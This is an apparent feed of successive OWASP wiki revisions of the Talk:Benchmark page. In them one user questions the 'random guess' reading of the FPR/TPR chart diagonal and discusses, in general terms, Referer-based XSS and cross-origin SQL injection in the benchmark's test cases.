Eric Sheridan - eric.sheridan[at]owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]][[Category:Popular]]&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=222564</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=222564"/>
				<updated>2016-10-20T17:51:35Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The formulas suggests a different interpretation of that area, &amp;quot;the noise rate in reporting non-issues exceeds the sensitivity about real issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have ''n'' real and ''m'' fake vulnerabilities.  For each of these vulnerabilities let the tool (or a monkey) decide if it is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Request headers in XSS attacks ==&lt;br /&gt;
&lt;br /&gt;
The Test Case Details tab says that only Referer headers can act as tainted input in XSS scenario.  But &amp;lt;s&amp;gt;(a)&amp;lt;/s&amp;gt; I doubt it is possible to craft a malicious path hosting the link to a site with the vulnerability &amp;lt;s&amp;gt;and (b) in creating a stored XSS off a page on the attacker site with a crafted javascript, sending malicious values in any header but Referer appears possible (Same Origin Policy will prevent from reading the response but not from sending the request).&amp;lt;/s&amp;gt; --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:34, 25 July 2016 (CDT)&lt;br /&gt;
:: To sum up, I agree with the main article's point that only Referer headers could exploit the XSS scenario, but I think it is next to impossible to implement the Referer exploit.  &lt;br /&gt;
&lt;br /&gt;
:: Vulnerabilities not relying on echoing indirect input back could still be exploited: a SQL injection could be performed by a foreign origin's javascript through request parameters and headers because XHR requests will be sent regardless of Same Origin Policy's preventing reading their output. ([https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests Simple requests in modern browsers] seem to be allowed to manipulate 4 headers Accept, Accept-Language, Content-Language, Content-Type without requiring the javascript engine to send a pre-flight OPTIONS request.  Also, a promiscuous CORS configuration could allow POST queries with any custom header as long as the OPTIONS pre-flight request receives a satisfying response).  --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 12:49, 20 October 2016 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=222563</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=222563"/>
				<updated>2016-10-20T17:49:25Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The formulas suggests a different interpretation of that area, &amp;quot;the noise rate in reporting non-issues exceeds the sensitivity about real issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have ''n'' real and ''m'' fake vulnerabilities.  For each of these vulnerabilities let the tool (or a monkey) decide if it is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Request headers in XSS attacks ==&lt;br /&gt;
&lt;br /&gt;
The Test Case Details tab says that only Referer headers can act as tainted input in XSS scenario.  But &amp;lt;s&amp;gt;(a)&amp;lt;/s&amp;gt; I doubt it is possible to craft a malicious path hosting the link to a site with the vulnerability &amp;lt;s&amp;gt;and (b) in creating a stored XSS off a page on the attacker site with a crafted javascript, sending malicious values in any header but Referer appears possible (Same Origin Policy will prevent from reading the response but not from sending the request).&amp;lt;/s&amp;gt; --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:34, 25 July 2016 (CDT)&lt;br /&gt;
:: To sum up, I agree with the main article's point that only Referer headers could exploit the XSS scenario, but I think it is next to impossible to implement the Referer exploit.  &lt;br /&gt;
&lt;br /&gt;
:: Vulnerabilities not relying on echoing indirect input back could still be exploited: a SQL injection could be performed by a foreign origin's javascript through request parameters and headers because XHR requests will be sent regardless of Same Origin Policy's preventing reading their output. (CORS seems to allow manipulating 4 headers Accept, Accept-Language, Content-Language, Content-Type without requiring the javascript engine to send a pre-flight OPTIONS request.  Also, a promiscuous CORS configuration could allow POST queries with any custom header as long as the OPTIONS pre-flight request receives a satisfying response).  --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 12:49, 20 October 2016 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=222562</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=222562"/>
				<updated>2016-10-20T17:49:12Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Request headers in XSS attacks */ emphasize my doubt in Referer attacks&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The formulas suggests a different interpretation of that area, &amp;quot;the noise rate in reporting non-issues exceeds the sensitivity about real issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have ''n'' real and ''m'' fake vulnerabilities.  For each of these vulnerabilities let the tool (or a monkey) decide if it is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Request headers in XSS attacks ==&lt;br /&gt;
&lt;br /&gt;
The Test Case Details tab says that only Referer headers can act as tainted input in XSS scenario.  But &amp;lt;s&amp;gt;(a)&amp;lt;/s&amp;gt; I doubt it is possible to craft a malicious path hosting the link to a site with the vulnerability &amp;lt;s&amp;gt;and (b) in creating a stored XSS off a page on the attacker site with a crafted javascript, sending malicious values in any header but Referer appears possible (Same Origin Policy will prevent from reading the response but not from sending the request).&amp;lt;/s&amp;gt; --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:34, 25 July 2016 (CDT)&lt;br /&gt;
:: To sum up, I agree with the main article's point that only Referer headers could exploit the XSS scenario, but I think it is next to impossible to implement the Referer exploit.  &lt;br /&gt;
:: Vulnerabilities not relying on echoing indirect input back could still be exploited: a SQL injection could be performed by a foreign origin's javascript through request parameters and headers because XHR requests will be sent regardless of Same Origin Policy's preventing reading their output. (CORS seems to allow manipulating 4 headers Accept, Accept-Language, Content-Language, Content-Type without requiring the javascript engine to send a pre-flight OPTIONS request.  Also, a promiscuous CORS configuration could allow POST queries with any custom header as long as the OPTIONS pre-flight request receives a satisfying response).  --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 12:49, 20 October 2016 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=220035</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=220035"/>
				<updated>2016-08-05T20:00:38Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* The meaning of the diagonal */ follow the meaning of FPR and TPR instead of attributing misunderstood meanings&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The formulas suggests a different interpretation of that area, &amp;quot;the noise rate in reporting non-issues exceeds the sensitivity about real issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have ''n'' real and ''m'' fake vulnerabilities.  For each of these vulnerabilities let the tool (or a monkey) decide if it is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Request headers in XSS attacks ==&lt;br /&gt;
&lt;br /&gt;
The Test Case Details tab says that only Referer headers can act as tainted input in XSS scenario.  But (a) I doubt it is possible to craft a malicious path hosting the link to a site with the vulnerability and (b) in creating a stored XSS off a page on the attacker site with a crafted javascript, sending malicious values in any header but Referer appears possible (Same Origin Policy will prevent from reading the response but not from sending the request). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:34, 25 July 2016 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=219303</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=219303"/>
				<updated>2016-07-26T01:34:55Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: /* Request headers in XSS attacks */ new section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The last equation suggests a different interpretation of that area, &amp;quot;the noise rate in reporting suspects exceeds the silence rate about non-issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have ''n'' real and ''m'' fake vulnerabilities.  For each of these vulnerabilities let the tool (or a monkey) decide if it is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Request headers in XSS attacks ==&lt;br /&gt;
&lt;br /&gt;
The Test Case Details tab says that only Referer headers can act as tainted input in XSS scenario.  But (a) I doubt it is possible to craft a malicious path hosting the link to a site with the vulnerability and (b) in creating a stored XSS off a page on the attacker site with a crafted javascript, sending malicious values in any header but Referer appears possible (Same Origin Policy will prevent from reading the response but not from sending the request). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:34, 25 July 2016 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=218885</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=218885"/>
				<updated>2016-07-14T01:34:19Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The last equation suggests a different interpretation of that area, &amp;quot;the noise rate in reporting suspects exceeds the silence rate about non-issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have ''n'' real and ''m'' fake vulnerabilities.  For each of these vulnerabilities let the tool (or a monkey) decide if it is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=218884</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=218884"/>
				<updated>2016-07-14T01:31:27Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The last equation suggests a different interpretation of that area, &amp;quot;the noise rate in reporting suspects exceeds the silence rate about non-issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have ''n'' real and ''m'' fake vulnerabilities.  In each of the two groups, let the tool (or a monkey) decide which vulnerability is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=218883</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=218883"/>
				<updated>2016-07-14T01:28:04Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The last equation suggests a different interpretation of that area, &amp;quot;the noise rate in reporting suspects exceeds the silence rate about non-issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have 5 real and 5 fake vulnerabilities.  For each of the two groups, let the tool (or a monkey) decide which vulnerability is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=218882</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=218882"/>
				<updated>2016-07-14T01:24:12Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The last equation suggests a different interpretation of that area, &amp;quot;the noise rate in reporting suspects exceeds the silence rate about non-issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
The &amp;quot;worse than guessing&amp;quot; interpretation seems to come from the following scenario.  We have 5 real and 5 fake vulnerabilities.  Let the tool (or a monkey) decide which vulnerability is real.  I guess this scenario ignores that the tool does not get the list of these vulnerabilities as its input. --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 20:24, 13 July 2016 (CDT)&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	</feed>